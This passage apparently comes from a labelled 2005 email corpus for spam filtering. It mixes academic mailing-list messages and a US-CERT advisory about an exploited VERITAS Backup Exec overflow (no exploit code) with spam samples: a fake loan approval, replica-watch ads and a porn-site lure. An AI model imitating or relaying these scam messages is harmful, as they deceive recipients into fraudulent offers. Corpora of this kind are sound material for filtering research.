reform the patent system, and knowledgeable scientists might consider weighing in on the various proposals. Would anyone care to do some research and inform this community? I could provide some pointers from which to begin. Dr. George F. Corliss Electrical and Computer Engineering Marquette University PO Box 1881 1515 W. Wisconsin Ave. Milwaukee WI 53201-1881 USA 414-288-6599; Fax: 288-5579; Dept. 288-6280 Office: Haggerty Engineering 296 George.Corliss@Marquette.edu My earlier message: Ray Moore writes: > As a result of my previous email to this group, I have been contacted by > John Busch of Sun Microsystems, and informed that anyone with specific > concerns about Sun's interval patents should contact him at > John.Busch@sun.com I second that. Dialog is healthy. What follows is my personal opinion. I am a university researcher, not a patent attorney. Nor do I speak for Sun in any sense. In Sun¹s opinion, the patents issued and applications pending are new. On reading them, I see little I recognize as new, but the US patent system is not well equipped to tell the difference. Even if the patents are questionable, it is in Sun¹s commercial interests to apply for them, especially before some other company does. Sun has proven itself to be a friend of the interval community by offering commercial quality interval tools and by modest support for interval research projects, including some of my own (in the interest of full disclosure). In my opinion, the academic research community has little to fear from Sun¹s patent activities; our research helps drive their sales. Other firms who stand to make a profit from interval technologies (in our dreams, that is a non-empty set) are well advised to discuss things with Sun. I would HOPE, and I believe, that Sun has the wisdom to welcome such overtures as partners rather than competitors. For example, I know of one funding proposal for interval research pending in Britain with letters of support from both NAG and Sun. Again in my opinion, academic researchers are well advised to learn more about issues of intellectual property. Our STUDENTS need a basic understanding, because the business that employ our students may live or die by intellectual property. Further, seeking intellectual property protection for some of our OWN work can, in some cases, be a more successful path to research funding than more traditional governmental funding requests. Dr. George F. Corliss Electrical and Computer Engineering Marquette University PO Box 1881 1515 W. Wisconsin Ave. Milwaukee WI 53201-1881 USA 414-288-6599; Fax: 288-5579; Dept. 288-6280 Office: Haggerty Engineering 296 George.Corliss@Marquette.edu ",0,0 Ranmalee Rathnadiwakara Eramudugolla ,DMDX@psy1.psych.arizona.edu,"Wed, 29 Jun 2005 09:20:50 +1000",[DMDX] Re: again when keyword,"Hi, I'd like to have items stop when the participant presses either the Right Shift or Left Shift key. Is there anyway that the abort item keyword can be used with two keys? cheers Ranmalee ",0,0 Angela Reid ,economicsbb@columbia.edu,"Tue, 28 Jun 2005 16:37:18 -0400","Fwd: New Fringe Benefits Rate Effective July 1, 2005","> >COLUMBIA UNIVERSITY >INTERDEPARTMENTAL MEMORANDUM >OFFICE OF PROJECTS AND GRANTS >254 Engineering Terrace; MC 2205 >(t) 212 854-6851; (f) 212-854 2738 > > >June 28, 2005 > >OPG: 6983 > >To: Principal Investigators and Department Administrators > >Subject: New Fringe Benefits Rate Effective July 1, 2005 > >I have just been informed that the University has negotiated a new Fringe >Benefits rate for the period July 1, 2005 ­ June 30, 2006 with the >Department of Health and Human Services. > >The new fringe rate for government sponsored projects for the period >beginning July 1, 2005 is 26.6%. The rate for non-government sponsored >projects remains unchanged at 30.5%. > >***This new rate should be used in proposals to all governmental agencies >effective immediately (and for all periods beyond June 30, 2006 until we >negotiate a new rate next year). The University will, in accordance with >its usual procedures, charge the new fringe benefits rate to all active >government projects effective July 1st.*** > >Please use the new fringe rates in all proposals (and for agency-requested >revised budgets) with projected periods that extend beyond July 1, 2005 >effective immediately. > >F&A (Facilities and Administrative/Indirect cost) rates for the University >remain unchanged at 61% for the period through June 30, 2007. The >on-campus rate for the Lamont-Doherty Earth Observatory is 51.0% >mTDC. Off campus and off-campus-modified rates may be obtained from your >Projects Officer if they are applicable to your project. > >A comprehensive listing of fringe benefits and F&A rates may always be >found at . > >Please contact your OPG Projects Officer if you have any question as to >how these new rates will impact your particular project. > > /signed/ > >Beth H. Israel >Executive Director > > >Cc: Dr. David Hirsh > Mr. Carl Sparano > Ms. Gail Hoffman > Ms. Olga Carr > Ms. Jane Tsambis > Mr. Richard Ruttenberg > Ms. Nancy Alvarez",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 28 Jun 2005 18:00:02 -0700",[DMDX] Re: again when keyword,"At 09:20 AM 6/29/2005 +1000, you wrote: >Hi, > >I'd like to have items stop when the participant presses either the >Right Shift or Left Shift key. Is there anyway that the abort item >keyword can be used with two keys? No, the about function won't stop nor can be used with more then one key. It can be modified but you're into sponsorship territory there as there's no demand for it here. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Reality... What a Concept. - Robin Williams",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 28 Jun 2005 18:05:37 -0700",[DMDX] Re: again when keyword,"Gods, puts brain in gear: No, the aboRt function won't stop nor can be used with more then one key. It can be modified but you're into sponsorship territory there as there's no demand for it here. At 06:00 PM 6/28/2005 -0700, you wrote: >At 09:20 AM 6/29/2005 +1000, you wrote: >>Hi, >> >>I'd like to have items stop when the participant presses either the >>Right Shift or Left Shift key. Is there anyway that the abort item >>keyword can be used with two keys? > > No, the about function won't stop nor can be used with more > then one key. It can be modified but you're into sponsorship territory > there as there's no demand for it here. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > >Reality... > >What a Concept. > - Robin Williams > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Reality... What a Concept. - Robin Williams",0,1 Leo Eldridge ,reliable_computing-outgoing@interval.louisiana.edu,"Tue, 28 Jun 2005 18:00:17 -0500",Fw: She need it (q1397054 ),"He died. Thus, in the course of two days, one after another, Jesus of Nazareth and Judas Iscariot, the Traitor, left the world..But Thomas did not know this, although only yesterday a cactus had actually caught in his garment and torn it into wretched rags. But then Thomas never did know anything, though he asked questions about everything, and looked so straight with his bright, transparent eyes, through which, as through a pane of Phoenician glass, was visible a wall, with a dismal ass tied to it. ""You know who will betray Him?"" asked Thomas, looking at Judas with his straight-forward, clear, almost transparent eyes..Suddenly he changed his quick movements into a comfortable, concentrated dawdling, chose a place by a big stone, and sat down without hurry. He turned himself, as if seeking a comfortable position, laid his hands side by side on the grey stone, and heavily sank his head upon them. And so for an hour or two he sat on, as motionless and grey as the grey stone itself, so still that he deceived even the birds. The walls of the ravine rose before him, and behind, and on every side, cutting a sharp line all round on the blue sky; while everywhere immense grey stones obtruded from the ground, as though there had been at some time or other, a shower here, and as though its heavy drops had become petrified in endless split, upturned skull, and every stone in it was like a petrified thought; and there were many of them, and they all kept thinking heavily, boundlessly, stubbornly.""Bring water."" ",1,0 CERT Advisory ,cert-advisory@cert.org,"Wed, 29 Jun 2005 15:04:43 -0400",US-CERT Technical Cyber Security Alert TA05-180A -- VERITAS Backup Exec Software is actively being exploited ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA05-180A archive VERITAS Backup Exec Software is actively being exploited Original release date: June 29, 2005 Last revised: -- Source: US-CERT Systems Affected VERITAS Backup Exec Remote Agent Overview The VERITAS Backup Exec Remote Agent for Windows contains a buffer overflow that may allow an unauthenticated, remote attacker to compromise a system and execute arbitrary code with administrative privileges. I. Description VERITAS Backup Exec is a data backup and recovery solution with support for network-based backups. The VERITAS Backup Exec Remote Agent is installed on systems that are to be backed up. It listens on TCP port 10000 for messages indicating that a backup should occur. The remote agent software fails to properly validate incoming packets, which allows a buffer overflow to occur. Specially crafted authentication messages can be used to trigger the buffer overflow, making it possible for an unauthenticated attacker to exploit this vulnerability. Exploit code for this vulnerability is publicly available. In addition, we have received credible reports that this vulnerability is being actively exploited to execute arbitrary code with Local System privileges. We have also seen increased scanning activity on port 10000/tcp. This increase is believed to be attempts to locate vulnerable systems running the VERITAS Backup Exec Remote Agent. US-CERT is tracking this issue in the following vulnerability note: * VU#492105 - VERITAS Backup Exec Remote Agent fails to properly validate authentication requests. This issue is also identified as VERITAS Security Advisory VX05-002 and CAN-2005-0773. In addition, US-CERT is investigating other, potentially serious vulnerabilities in VERITAS backup software: * VU#352625 - VERITAS Backup Exec Server Service contains a buffer overflow vulnerability. This issue is also identified as VERITAS Security Advisory VX05-006. * VU#584505 - VERITAS Backup Exec remote access validation vulnerability. This issue is also identified as VERITAS Security Advisory VX05-003. II. Impact A remote, unauthenticated attacker may be able to execute arbitrary code with administrative privileges on a vulnerable system. III. Solution Apply a patch VERITAS has issued patches for each vulnerable version of Backup Exec Remote Agent. Information about these patches can be found in the VERITAS Patch summary for Security Advisories VX05-001, VX05-002, VX05-003, VX05-005, VX05-006, VX05-007. Restrict access US-CERT recommends taking the following actions to reduce the chances of exploitation: * Use firewalls to limit connectivity so that only the backup server(s) can connect to the systems being backed up. The standard port for this service is port 10000/tcp. * At a minimum, implement some basic protection at the network perimeter. When developing rules for network traffic filters, realize that individual installations may operate on non-standard ports. Appendix A. References * US-CERT Vulnerability Note VU#492105 - * US-CERT Vulnerability Note VU#352625 - * US-CERT Vulnerability Note VU#584505 - * VERITAS Software Security Advisory VX05-002 - * VERITAS Software Security Advisory VX05-006 - * VERITAS Software Security Advisory VX05-003 - * VERITAS Software Security Announcement - * iDefense security advisory - _________________________________________________________________ These vulnerabilities were reported by VERITAS Software. VERITAS credits iDefense with supplying information regarding VU#492105 and VU#584505. VERITAS credits NGSSoftware Research Team with supplying information regarding VU#352625. _________________________________________________________________ Feedback can be directed to the authors: US-CERT Technical Staff _________________________________________________________________ Revision History Jun 29, 2005: Initial release _________________________________________________________________ This document is available from: Produced 2005 by US-CERT, a government organization. Terms of use For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQsLs9BhoSezw4YfQAQLQaAf/X7XHXphDIe1ImdN1f/ap5y4YXTvMVnPk VDed43Bk3HLGEKWP2gPReWGGTEzs3u8CiO4yJO879ksV2lQgJUNgLy5U21ltw4Nh A2uZM90OpeCgirS8jSmhReqrHM89LqhDgbiNMpStJmQO3c2ClBpJ3skbO53/VT7L Uowoz1XHwqMOSsaPVS4gsz+5NTJS2HNkXZuuLRbE3qexigWa6/CPJ9JINtgcQH65 O41V/fcs5gjvaHSB7H8a9gaSPewIwPnEqpFpA6w8hLiZ0erH0Ti1Ggj6mykDAESp +OAyJk/MvAtQq1oXHpca9xaHqCMZd+Yus+/KQOkO5qCRGC+YtT3Kyw== =VMlW -----END PGP SIGNATURE-----",0,1 Lamar Dickerson ,latoya@calmail-fe3.berkeley.edu,"Wed, 29 Jun 2005 15:00:05 -0600",We can approve Yours loan today 8wb58,"Dear Homeowner, phyllis@calmail-fe3.berkeley.edu http://lowlow1refinance.com/goodstep You have been approved for a $ 799,499 house loan (2.9 fixed) This offer is being presented to you right now!. Your credit history is in no way a factor. To take advantage of this Limited Time Opportunity, please take a minute and confirm your curiosity or intention to accept this loan, at the following web-site: http://lowlow1refinance.com/goodstep Best Regards Don Nut Loan Manager http://lowlow1refinance.com/lit.html avis@calmail-fe3.berkeley.edu wrote: > Yours loan is approved i8lan6dfqo ",1,1 Ellen Voorhees x3761 ,Multiple recipients of list ,"Thu, 30 Jun 2005 08:03:34 -0400",[Trec] TREC 2005 submission system ready," Dear TREC 2005 participants, This is only the second message that I have sent to the TREC 2005 mailing list (the other being the Welcome message). The lack of additional messages is actually a positive sign in that it means that TREC has been moving along without serious issues. The track mailing lists have been busy finalizing task guidelines, and except for a subtask in a few tracks, the guidelines are now complete. Everything is also in place for you to be able to submit TREC 2005 runs to NIST. Before describing that process, let me encourage you to take a look at the guidelines for tracks you had not originally anticipated participating in to check for new tasks of interest. For example, there is a text categorization task in the genomics track, a document ranking task in the QA track, and the HARD and robust tracks are sharing topics and documents that should support interesting comparisons. The tracks page in the active participants' section of the TREC web site has a pointer to the guidelines for each track (either directly, or a link to the track website that has the guidelines). For some tracks, the first deadline is next week (egad!) so don't procrastinate in having a look. The scripts that check TREC 2005 submissions for common errors have been posted to the the ""tools"" page of the active participants' section of the TREC web site. The scripts are also linked under the individual sections of the tracks page. A README file with complete details regarding the scripts is included on the tools page. The check script is not yet posted for the tracks whose guidelines are not complete; those will be posted once the task definition becomes firm. There is a separate script for each track. The scripts look for errors including such things as malformed input, the same document being retrieved more than once for a topic, documents that are not part of the official collection being retrieved, etc. The scripts also issues warnings of things that aren't necessarily wrong, but often signify a problem, such as fewer than the maximum number of documents retrieved. You are *VERY STRONGLY ENCOURAGED* to use the scripts to check your runs before submitting the runs to NIST. The automatic submission process will run the same checks on the files you submit, and any runs that contain errors will be (automatically) rejected. Any warning messages produced by a run submitted to NIST will *not* be forwarded to the submitter. Under no circumstances will NIST accept a run by email because you couldn't get it past the check process during submission. It is your responsibility to create a submission file that conforms to the requirements specified in the guidelines and enforced by the check script. The README file gives lots of details about the scripts; please read it before using them. However, if you have questions not covered by the README, or if you find a bug in a script, please do let us know (trec@nist.gov). To submit a run (or HARD track clarification form, or spam track filter) to TREC 2005, you must fill out and submit a web form. There is a separate form for each track that is tailored to the particular track's requirements. Be sure to use the correct form for your run. If you do not, you will get an error message saying that check_input failed (because the document ids or topic numbers will be wrong). The forms are located at http://trec.nist.gov/act_part/forms/results.forms.html (which is linked to from the main page of the active participants' part of the TREC web site as ""Results Submissions Forms""). Enter the name of the submission file on the web form and the form itself will upload the submission to the NIST machine. Once you submit the form, a few data-validation checks are made and the submission file is uploaded. The appropriate check_input script is run on the submission file. If there are any errors, they are reported back to the web browser and the run is rejected. If the run checks out, it is entered into a table of runs and an acknowledgment is mailed to the submitter of the run. Please note: your run has been successfully submitted ONLY if you receive an acknowledgment from the submission procedure. NIST does not save runs that were attempted to be submitted but failed. If we were to keep such runs around, you wouldn't be able to resubmit a correct run using the same run-tag, we would waste a lot of disk space, and we would get confused about what runs were what. Last year, some groups had trouble submitting TREC runs because their organization's firewall prevented files from being uploaded. Sometimes, the firewall disallowed uploads but didn't actually complain, just hung. There isn't anything we can do on our end to prevent this. It may be worthwhile investigating earlier (rather than the 10 minutes before the deadline) whether your system can upload files. Among the information asked for on a form are the run tag and reply address. This tag is used as a unique identifier for the run at NIST. Case is significant. Tags may not contain a colon ("":"") because a colon is a significant character in the format we use to store run information. The reply address is the email address to which the acknowledgment will be sent. Please make sure the address supplied is valid and that mail sent to the address will be read. An emailed acknowledgment will not be received instantaneously since there are likely to be many runs being submitted simultaneously and allowance must be made for the vagaries of mailers, but the acknowledgment should be received relatively quickly. If there were no errors of any kind reported to the browser and you do not receive an acknowledgment within several hours of the submission, send mail to Ian Soboroff (ian.soboroff@nist.gov) to notify NIST of the problem. Please note that errors are only reported back to the browser, and a run that has any errors reported has NOT been submitted. Happy TREC-ing, Ellen _______________________________________________ Trec mailing list Trec@ciir.cs.umass.edu http://ciir.cs.umass.edu/mailman/listinfo/trec ",0,1 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Thu, 30 Jun 2005 18:30:04 -0600",conference of potential interest to interval community,"Dear Friends, The main organizers of this conference, Oscar Castillo and Patricia Melin, are major specialist in applications of interval-valued fuzzy techniques. They would welcome participation from our interval community. Vladik ***************************************************************** International Conference on Fuzzy Systems, Neural Networks and Genetic Algorithms (FNG 2005) Hispanic American Fuzzy Systems Association (HAFSA), Tijuana, Mexico, October 13-14, 2005 Description The International Conference will consist of papers describing research work that deals with Computational Intelligence (CI) methodologies for the development of hybrid intelligent systems. CI methodologies at the moment include (at least) Fuzzy Logic, Neural Networks, Genetic Algorithms, Intelligent Agents, and Chaos Theory. The use of intelligent techniques, like neural networks, fuzzy logic and genetic algorithms, for real-world problems is now widely accepted. However, still the performance of any of these techniques can be improved, in many situations, by using them in conjunction with other techniques. For example, genetic algorithms can be used to optimize the design of a neural network for time series prediction, or fuzzy logic can be used to combine the information from expert neural modules, just to mention two cases. Also, mathematical methods, like the ones from Chaos and Fractal Theory, can be used in conjunction with intelligent techniques to improve the performance of hybrid systems for real-world applications. The international conference will consist of papers addressing these hybrid approaches and similar ones, either theoretically or for real-world applications. Also, distinguished internationally recognized invited speakers will give lectures on the main areas of CI. The conference is intended primarily for researchers and graduate students working on these research areas. Topics of interest (not limited to) 1. Successful new applications to real-world problems of CI techniques that are found to achieve better results than conventional techniques. In this case, special attention should be given to the metrics used to compare CI techniques with conventional ones. 2. Developments of innovative hybrid methods combining CI techniques and conventional techniques. In this case, the problems to be considered in these papers may not be as complex as the ones in the previous point, but the authors have to explain very carefully how their proposed method could be used, in the future, to solve real-world problems. 3. Papers considering original research on new CI architectures, models or techniques are also welcome, but the authors would have to make a detailed description of how their proposed approach is compared with other related approaches. Specific Topics of interest (not limited to) Fuzzy Logic Theory Fuzzy Control Fuzzy Logic in Pattern Recognition Type-2 Fuzzy Logic Intuitionistic Fuzzy Logic Fuzzy Logic Applications Neural Networks Theory Neural Network Control Neural Networks for Prediction Neural Networks for Pattern Recognition Modular Neural Networks Neuro-Fuzzy Models and Applications Evolutionary Computing Theory Genetic Algorithms for Applications Genetic Algorithms for Neural Network Optimization Genetic Algorithm for Fuzzy System Optimization Genetic Fuzzy Systems Genetic Neural Systems Neuro-Fuzzy-Genetic Approaches Intelligent Agents Social Systems Swarm Intelligence Ant Colonies Algorithms Chaos Theory and Fractals Format and Submission Procedure Papers must be send by email, by the prospective authors, to the General Chair and the Program Chair. The paper must be send as a PDF or word attachment with their email message. The papers will then be distributed to the Reviewers for evaluation according to their originality, technical soundness, writing, etc. Notifications of acceptance will then be send to the authors by email. The authors of accepted papers would then be asked to present it at the conference, and send their registration form by the due date. The Proceedings (CD form) will be prepared for distribution at the Conference. All papers presented at the conference will be also published as an Edited Book (Springer-Verlag), after the conference. Selected papers will be considered, after improvements, for a Special Issue of the Fuzzy Sets and Systems Journal of Elsevier (ISI Index). Important Dates Paper Submission deadline: July 15th, 2005 Acceptance of papers: August 5th, 2005 Final papers due: August 15th, 2005 Registration: August 15th, 2005 Chairs: Prof. Dr. Oscar Castillo, Prof. Dr. Patricia Melin, Dept. of Computer Science, Tijuana Institute of Technology, Mexico Emails: pmelin@tectijuana.mx ocastillo@tectijuana.mx, Web page: www.hafsamx.org/fng05 Registration: The cost of registration to the International Conference will be of $20 US Dollars. Advanced registration is strongly encouraged, as space will be limited to 70 participants in the conference. Deadline for registration is August 15th, 2005. Hispanic American Fuzzy Systems Association (HAFSA) President: Oscar Castillo Vice-President: Patricia Melin Council: Carlos Coello Coello, Mexico Eduardo Gomez Ramirez, Mexico Javier Ruiz del Solar, Chile Carlos Andres Pe¤a, Colombia Gerardo Acosta, Argentina www.hafsamx.org/fng05 Honorary Chair Prof. Dr. Janusz Kacprzyk General Chair: Prof. Dr. Oscar Castillo, Instituto Tecnologico de Tijuana Program Chair: Prof. Dr. Patricia Melin, Instituto Tecnologico de Tijuana Program Committee Prof. Dr. Janusz Kacprzyk, Poland Academy of Sciences, Poland Prof. Dr. Fernando Gomide, Universidad de Sao Paulo, Brasil Prof. Dr. Nadia Nedjah, Universidad de Rio de Janeiro, Brasil Prof. Dr. Luis Tupak Aguilar Bustos, CITEDI-IPN, Tijuana Prof. Dr. Miguel Arias Estrada, INAOE, Puebla Prof. Dr. Carlos A. Coello Coello, CINVESTAV, Mexico Prof. Dr. Alfredo Crist¢bal Salas, Univ. Autonoma de Baja California, Tijuana Prof. Dr. Pilar Gomez Gil, Universidad de las Americas Puebla, Puebla Prof. Dr. Eduardo Gomez Ramirez, Universidad de La Salle, Mexico Prof. Dr. Gerardo Maximiliano Mendez, Instituto Tecnologico de Nuevo Leon, Monterrey Prof. Dr. Antonio Rodriguez D¡az, Univ. Autonoma de Baja California, Tijuana Prof. Dr. Edgar N. Sanchez, CINVESTAV, Guadalajara HOSTED BY: Tijuana Institute of Technology SUPPORTED BY: COSNET-DGEST COOPERATION WITH: HAFSA ASSOCIATION Hispanic American Fuzzy System Association (HAFSA) ""International Conference on Fuzzy Systems, Neural Networks and Genetic Algorithms (FNG 2005)"" MAIN THEME "" Hybrid Intelligent Systems"" Tijuana, Mexico, October 13-14, 2005 HOSTED BY Tijuana Institute of Technology ",0,0 Angela Reid ,economicsbb@columbia.edu,"Fri, 01 Jul 2005 09:54:36 -0400",Fwd: Fund Opp: NIH - Research on Research Integrity," > > >Please note the following fund opportunity: > >Program: Research on Research Integrity (RFA-NR-06-001) >Agency: National Institutes of Health (NIH) >Deadline: August 16, 2005- Recommended Letters of Intent >September 16, 2005 ­ Formal applications >URL: http://grants.nih.gov/grants/guide/rfa-files/RFA-NR-06-001.html > >The purpose of the proposed grant program is to foster empirical research >on research integrity. The sponsoring programs are particularly interested >in research that will provide clear evidence (rates of occurrence and >impacts) of potential problems areas as well as societal, organizational, >group, and individual factors that affect, both positively and negatively, >integrity in research. Applications must have clear relevance to >biomedical, behavioral health sciences, and health services research. >Applicants are strongly encouraged to take into consideration problems or >issues that have relevance to specific missions of DHHS, NIH, AHRQ, or NIH >institutes and centers. > >While a great deal has been written about integrity in research and its >importance, empirical information is lacking in four crucial areas: > ># the standards that guide responsible practice, how are they set, and the >extent to which researchers routinely adhere to these standards; ># the effectiveness of professional self-regulation in research; and ># the factors that influence students, researchers and research >institutions to adhere to or deviate from integrity in research and how >these factors can be reinforced or modified to promote responsible >practices; and ># the economic and intellectual impacts of behaviors that fail to adhere >to rules, regulations, guidelines, and commonly accepted professional >codes or norms. > >This RFA seeks applications for empirical research that will provide >information about these areas in ways that will aid policymaking and help >promote integrity in PHS funded research. The participating programs are >especially interested in quantifiable information that is relevant to >particular PHS research communities and/or research interests. Projects >that are relevant to the current NIH Roadmap Initiatives (New Pathways to >Discovery, Research Teams of the Future, and Re-engineering the Clinical >Research Enterprise) are also encouraged. > >Specific areas of interest include: >1. Standards for responsible conduct (best practices; >2. Self-regulation; >3. Factors that enhance or undermine integrity; and >4. Economic, policy and scientific impacts. > >Letters of intend are recommended, but not required. >- > >Beth H. Israel, Executive Director >Office of Projects and Grants > > > >------------------------------------------- >You have been included in a majordomo mailing list (eco-opg@columbia.edu) >maintained by the Office of Projects and Grants. This list will allow the >rapid dissemination of important proposal/award related information as well >as the dissemination of program solicitations and related programmatic >information. >To subscribe to the list, send the following message to: >majordomo@columbia.edu >subscribe eco-opg@columbia.edu >To unsubscribe to the list, send the following message to: >majordomo@columbia.edu >unsubscribe eco-opg@columbia.edu >------------------------------------------- ",0,1 Vladik Kreinovich ,reliable_computing@interval.louisiana.edu,"Fri, 01 Jul 2005 12:54:29 -0600",conference of interest to interval researchers," Dear Friends, This conference may be of interest to our community. At a similar 2004 conference, interval mathematics was one of the topics of interest, and it will be one of the topis of interest at this conference as well. Vladik ************************************************************************ http://fsscef.narod.ru/index.html International Conference on Fuzzy Sets and Soft Computing in Economics and Finance FSSCEF'06 June 25-28, 2006, St. Petersburg, Russia Call for Papers will be issued ASAP Contact person: Dr. Alexey Nedosekin, an@ifel.ru ------------- End Forwarded Message ------------- ",0,1 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Fri, 01 Jul 2005 16:19:57 -0600","Re: GAMM Conference on Optimization Under Uncertainties COUCH'05, Heidelberg, Germany, September 28-30, 2005","Dear Friends, I am forwarding an email from Dr. Kostina, the organizer of GAMM Conference on Optimization Under Uncertainties COUCH'05, Heidelberg, Germany, September 28-30, 2005, http://couch2005.uni-hd.de/ She will welcome an interval session if there is enough interest. Please do not hesitate to contact her if you are interested. Vladik P.S. I myself will most probably not be able to attend. ------------- Begin Forwarded Message ------------- From: Ekaterina Kostina ... would you consider a session with 4-6 speakers on interval computations at the conference? ekaterina ------------- End Forwarded Message -------------",0,1 Hans Schneider ,"NETS -- at-net , E-LETTER , Pradeep Misra , Shaun Fallat , ""na.digest"" , ipnet-digest@math.msu.edu, Michael.Unser@epfl.ch, SIAGLA-DIGEST , hjt@eos.ncsu.edu, SMBnet@smb.org, vkm@eedsp.gatech.edu, reliable_computing@interval.louisiana.edu","Sun, 03 Jul 2005 14:12:44 -0500",LAA contents," * Linear Algebra and its Applications Volume 405, Pages 1-328 (1 August 2005) http://www.sciencedirect.com/science/issue/5653-2005-995949999-600626 TABLE OF CONTENTS 1) Editorial board Pages ii-iii 2) Eigenstructure of order-one-quasiseparable matrices. Three-term and two-term recurrence relations Pages 1-40 Y. Eidelman, I. Gohberg and Vadim Olshevsky 3) A limit result concerning the QR factorization of banded Toeplitz matrices Pages 41-44 Samir Karaa 4) Ordering trees by their Laplacian spectral radii Pages 45-59 Aimei Yu, Mei Lu and Feng Tian 5) Eigenvalues of Hadamard powers of large symmetric Pascal matrices Pages 60-66 Ashkan Ashrafi and Peter M. Gibson 6) On semigroups of matrices with eigenvalue 1 in small dimensions Pages 67-73 Janez Bernik and Jan Okniÿÿski 7) When are dynamic and static feedback equivalent? Pages 74-82 J.A. Hermida Alonso, M.M. López-Cabeceira and M.T. Trobajo 8) Tensor algebras and displacement structure. IV. Invariant kernels Pages 83-103 T. Banks, T. Constantinescu and Nermine El-Sissi 9) On some perfect codes with respect to Lee metric Pages 104-120 Sapna Jain, Ki-Bong Nam and Ki-Suk Lee 10) Feedback invariants of matrices with prescribed rows Pages 121-154 Marija Dodig 11) Involutions in incidence algebras Pages 155-162 E. Spiegel 12) A construction technique for generalized complex orthogonal designs and applications to wireless communications Pages 163-176 Jennifer Seberry, Sarah A. Spence and Tadeusz A. Wysocki 13) -Aluthge transforms and Schatten ideals Pages 177-199 Jorge Antezana, Pedro Massey and Demetrio Stojanoff 14) Fundamental gaps of numerical semigroups generated by two elements Pages 200-208 J.C. Rosales 15) Stability of polytopes of matrices via affine parameter-dependent Lyapunov functions: Asymptotically exact LMI conditions Pages 209-228 Ricardo C.L.F. Oliveira and Pedro L.D. Peres 16) Weylÿÿs theorem for analytically hyponormal operators Pages 229-238 Xiaohong Cao 17) On factor width and symmetric H -matrices Pages 239-248 Erik G. Boman, Doron Chen, Ojas Parekh and Sivan Toledo 18) The isometries of certain maximum norms Pages 249-263 Boris Lavriÿÿ 19) Numerical computation of minimal polynomial bases: A generalized resultant approach Pages 264-278 E.N. Antoniou, A.I.G. Vardulakis and S. Vologiannidis 20) Steinberg unitary Leibniz algebras Pages 279-303 Dong Liu and Naihong Hu 21) A geometric estimate on the norm of product of functionals Pages 304-310 Máté Matolcsi 22) Adjacency preserving maps on the space of symmetric operators Pages 311-324 Runling An, Jinchuan Hou and Liankuo Zhao 23) Special Issue devoted to papers presented at the Aveiro Workshop on Graph Spectra, 10-12 April 2006 Page 325 24) Author index Pages 327-328 ",0,1 Bertie Tyson ,lena@serrano.cc.columbia.edu,"Tue, 05 Jul 2005 01:42:54 -0400",plz forgive me,"They all wondered greatly at the many forms the Great Wizard could take upon himself, and the Lion said: ""If he is a Beast when I go to see him, I shall roar my loudest, and so frighten him that he will grant all I ask. And if he is the lovely Lady, I shall pretend to spring upon her, and so compel her to do my bidding. And if he is the great Head, he will be at my mercy; for I will roll this head all about the room until he promises to give us what we desire. So be of good cheer, my friends, for all will yet be well."" The next morning the soldier with the green whiskers led the Lion to the great Throne Room and bade him enter the presence of Oz. SEARCH - .H.0.T. - .B.A.B.E. - PR0-FILEz click here now and start seearching for a your =b.a.b.e= ""Of course it would be raining!"" said Edmund. They had just finished their breakfast with the Professor and were upstairs in the room he had set apart for them.a long, low room with two windows looking out in one direction and two in another.",1,1 Walker Simon ,reliable_computing-outgoing@interval.louisiana.edu,"Tue, 05 Jul 2005 13:09:43 +0600",Frank Muller Watches ,"Do you want a high quality replica? In our online store you can buy replicas of Rolex watches and other brands. They look and feel exactly like the real thing. - We have 20+ different brands in our selection - Buy 2 watches and save 25% on both watches - Save up to 40% compared to the cost of other replicas - Standard Features: * Screw-in crown * Unidirectional turning bezel where appropriate * All the appropriate rolex logos, on crown and dial * Heavy weight Visit us: http://051.donutsarehealthy.com Best regards, Walker Simon boost you antimony me, deregulate gallant . bate you depreciable me, radiotherapy cupric lineman . bandwagon you cheesy me, haifa orifice . cryptic you linus me, snatch bookshelves decorous summers . overture you rope me, polysaccharide . converge you doubloon me, tenacious therapy . http://051.gelsaleprice.com/rm/ ",1,1 """Nelson H. F. Beebe"" ",reliable_computing@interval.louisiana.edu,"Tue, 05 Jul 2005 06:31:41 -0600",New paper using interval analysis for plotting of 2-D curves,"This new paper may be of interest to some list readers; the DOI and URL address lead to fulltext, which may or may not be accessible to you, depending on whether your institution is a journal subscriber: @String{j-INT-J-IMAGE-GRAPHICS = ""International Journal of Image and Graphics (IJIG)""} @Article{Ratschek:2005:SHM, author = ""Helmut Ratschek and Jon Rokne"", title = ""{SCCI}-Hybrid Methods for {$2$D} Curve Tracing"", journal = j-INT-J-IMAGE-GRAPHICS, volume = ""5"", number = ""3"", pages = ""447--479"", month = jul, year = ""2005"", CODEN = ""????"", DOI = ""http://dx.doi.org/10.1142/S0219467805001859"", ISSN = ""0219-4678"", bibdate = ""Tue Jul 5 06:13:03 MDT 2005"", bibsource = ""http://ejournals.wspc.com.sg/ijig/ijig.shtml"", URL = ""http://ejournals.wspc.com.sg/ijig/05/preserved-docs/0503/S0219467805001859.pdf"", abstract = ""A hybrid method for plotting 2-dimensional curves, defined implicitly by equations of the form f(x,y) = 0 is presented. The method is extremely robust and reliable and consists of Space Covering techniques, Continuation principles and Interval analysis (i.e. SCCI). The space covering, based on iterated subdivision, guarantees that no curve branches or isolated curve parts or even points are lost (which can happen if grid methods are used). The continuation method is initiated in a subarea as soon as it is proven that the subarea contains only one smooth curve. Such a subarea does not need to be subdivided further so that the computation is accelerated as far as possible with respect to the subdivision process. The novelty of the SCCI-hybrid method is the intense use of the implicit function theorem for controlling the steps of the method. Although the implicit function theorem has a rather local nature, it is empowered with global properties by evaluating it in an interval environment. This means that the theorem can 